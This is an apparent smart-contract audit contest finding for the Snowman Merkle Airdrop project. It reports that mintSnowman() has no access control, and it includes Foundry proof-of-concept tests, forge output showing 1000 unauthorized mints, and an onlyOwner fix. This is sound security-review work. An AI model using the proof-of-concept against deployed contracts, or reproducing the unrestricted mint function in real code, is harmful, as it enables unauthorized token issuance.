Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Unrestricted NFT Minting in Snowman.sol

Root + Impact

Description
The Snowman ERC-721 contract exposes mintSnowman(address receiver, uint256 amount) as an external function without checking msg.sender or otherwise restricting who may mint. Any account can call it repeatedly and mint arbitrary quantities of Snowman NFTs to any address, bypassing the protocol's intended staking/airdrop distribution flow.


@function mintSnowman(address receiver, uint256 amount) external {

Risk

Likelihood: High

Impact:High

An arbitrary caller can inflate the NFT supply without satisfying the intended Snow-token staking or airdrop
requirements. This breaks the protocol's supply/distribution assumptions and may dilute scarcity or any value/benefits
attached to legitimately distributed NFTs. The demonstrated impact is unauthorized NFT issuance; direct theft of
ERC-20 tokens is not claimed.
Severity rationale: the issue permits unrestricted issuance of the protocol's core NFT and bypasses intended
eligibility/distribution controls. Final severity should follow the target program's rubric.

Proof of Concept

The following minimal Foundry-style test illustrates the permissionless mint. It is a proposed regression test and has
not been represented as executed against the repository.
// Illustrative Foundry regression test (adapt imports / test naming to the repo)
function testAnyoneCanMintSnowman() public {
address attacker = makeAddr("attacker");
Snowman snowman = new Snowman("");
vm.prank(attacker);
snowman.mintSnowman(attacker, 3);
assertEq(snowman.balanceOf(attacker), 3);}

An attacker calls mintSnowman(attackerAddress, N) directly.
The contract does not check whether the caller is authorized.
The loop mints N NFTs to the chosen receiver and increments the token counter.
The attacker can repeat the call, subject to gas and execution limits

Recommended Mitigation

Restrict mintSnowman to a trusted minter (for example, the deployed SnowmanAirdrop contract), or use onlyOwner if
the owner is the intended sole minter. Ensure deployment wiring grants mint permission only to the legitimate
distribution contract, and add tests proving unauthorized callers revert.
Example design: add an immutable authorized minter address in the constructor and require msg.sender == i_minter
inside mintSnowman. Alternatively, restrict minting to onlyOwner if that matches the intended architecture. Validate
the minter address at deployment and test that unauthorized callers revert
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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